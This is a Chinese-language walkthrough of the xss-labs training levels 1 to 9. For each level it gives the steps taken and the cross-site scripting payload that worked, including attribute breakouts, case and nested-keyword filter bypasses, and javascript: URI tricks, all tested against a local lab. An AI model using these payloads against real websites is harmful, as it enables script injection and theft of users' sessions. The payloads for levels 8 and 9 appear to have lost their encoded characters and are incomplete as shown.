xss-labs level 1-9 解题过程
level 1
过程
网页中并没有输入框,观察URL发现name=test,尝试在此进行注入
http://127.0.0.1:82/level1.php?name=<script>alert(1)</script>
过关
payload
<script>alert(1)</script>
level 2
过程
输入框先尝试输入<script>alert(1)</script>无反应
观察源码:
<input name=keyword  value="<script>alert(1)</script>">
发现需要闭合,输入"><script>alert(1)</script><"
过关
payload
"><script>alert(1)</script><"
level 3
过程
一样先尝试<script>alert(1)</script>
观察源码:
<input name=keyword  value='<script>alert(1)</script>'>
发现<与>被转义了,无法构造标签,于是改变思路,在源码中的input元素中使用onclick参数来达到点击弹窗的效果:
onclick='alert(1)'
同样需要进行闭合
payload
' onclick='alert(1)
level 4
过程
与上一关相似,只在闭合上有所区别,是双引号闭合
payload
" onclick="alert(1)
level 5
过程
尝试后发现on事件与<script>标签都被过滤

但<>符号没被过滤,于是尝试换标签,尝试后发现:
<a href="javascript:alert(1)">click</a>
成功
payload
"><a href="javascript:alert(1)">click</a><
leval 6
过程
上题中的href属性也被过滤,但再一试,发现并没有过滤大小写
payload
"><a Href="javascript:alert(1)">click</a><
leval 7
过程
这次对文本的过滤是直接删除,于是可以进行嵌套
比如scrscriptipt,这样过滤后就成为了所需的script
payload
"><scrscriptipt>alert(1)</scrscriptipt><"
leval 8
过程
看源码发现输入被放在了href属性里:
</center><center><BR><a href="http://www.baidu.com">友情链接</a></center><center><img src=level8.jpg></center>
所以第一时间想到用javascript:alert(1)
但是script被文本过滤了,于是采用unicode编码

payload
javascript
:alert(1)
leval 9
过程
真不会了,搜了题解发现payload中要包含http://,可以利用//注释
payload
javascript
:alert(1) //http://

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号